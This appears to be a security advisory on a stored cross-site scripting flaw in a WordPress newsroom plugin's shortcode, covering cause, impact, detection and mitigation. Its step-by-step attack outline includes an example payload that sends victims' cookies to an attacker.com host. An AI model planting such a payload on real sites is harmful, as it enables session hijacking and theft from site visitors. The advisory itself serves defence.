CVE-2025-4585: 
WordPress vulnerability analysis and mitigation

CVE-2025-4585 is a Stored Cross-Site Scripting (XSS) vulnerability in the IRM Newsroom plugin for WordPress, affecting all versions up to and including 1.2.19 (NVD records version cap at 1.2.17 in CPE data). The flaw exists in the plugin's irmflat shortcode due to insufficient input sanitization and output escaping on user-supplied attributes. It was published on June 13, 2025, and assigned by Wordfence. The CVSS v3.1 base score is 5.4 (Medium) (Red Hat CVE, Wordfence).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically a stored XSS variant. The irmflat shortcode in the IRM Newsroom plugin fails to properly sanitize user-supplied shortcode attributes before rendering them in page output, allowing injected scripts to persist in the database and execute in victims' browsers. Exploitation requires the attacker to have at least contributor-level authentication on the WordPress site, after which they can embed malicious JavaScript via the shortcode in a post or page. The vulnerable code path is visible in the plugin source at irm-newsroom.php line 439 (Wordfence, EUVD).

Successful exploitation allows an authenticated attacker with contributor-level access to inject persistent malicious scripts into WordPress pages, which execute in the browsers of any user who visits the affected page. This can lead to session cookie theft, credential harvesting, defacement, or redirection to malicious sites. Confidentiality and integrity are both impacted at a low level per CVSS scoring, with no direct availability impact; however, the changed scope means the impact extends beyond the plugin itself to the broader WordPress site and its visitors (Red Hat CVE, Wordfence).

No public proof-of-concept exploit code or active in-the-wild exploitation has been reported for CVE-2025-4585 as of the available data. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires authenticated access at contributor level or above, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence).

1. Reconnaissance: Identify WordPress sites running the IRM Newsroom plugin version ≤1.2.19 using tools like WPScan or by inspecting plugin directories exposed via the target site.
2. Obtain contributor access: Register or compromise a contributor-level (or higher) WordPress account on the target site.
3. Craft malicious shortcode: Create or edit a post/page and insert the irmflat shortcode with a malicious attribute payload, e.g., [irmflat attribute=""><script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
4. Publish content: Submit or publish the post/page containing the injected shortcode. The malicious script is stored in the WordPress database.
5. Trigger execution: When any user (including administrators) visits the page containing the injected shortcode, the malicious script executes in their browser, enabling session hijacking, credential theft, or further attacks (Wordfence, EUVD).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or REST API endpoints containing irmflat shortcode with unusual attribute values including HTML tags or JavaScript.
• Database: WordPress wp_posts table entries containing [irmflat shortcode with embedded <script> tags or encoded JavaScript payloads in post content.
• Network: Outbound requests from victim browsers to unknown external domains shortly after loading pages containing the irmflat shortcode (indicative of script execution and data exfiltration).
• File System: Review irm-newsroom.php (specifically around line 439) for any unauthorized modifications to the shortcode rendering logic.

WordPress site administrators should update the IRM Newsroom plugin to a version beyond 1.2.19 that includes a fix for this vulnerability, once a patched release is made available by the vendor. In the interim, sites should restrict contributor-level user registrations and audit existing contributor accounts for unauthorized content. Web application firewalls (WAFs) with XSS filtering rules can provide an additional layer of defense. Disabling or removing the IRM Newsroom plugin entirely is the most effective workaround if the plugin is not essential (Wordfence, Red Hat CVE).

Wordfence disclosed and assigned this CVE as part of their weekly WordPress vulnerability report for June 9–15, 2025, noting it as part of a broader set of plugin vulnerabilities tracked that week. No significant independent researcher commentary, vendor statements beyond the Wordfence advisory, or notable social media discussion has been identified for this specific CVE (Wordfence).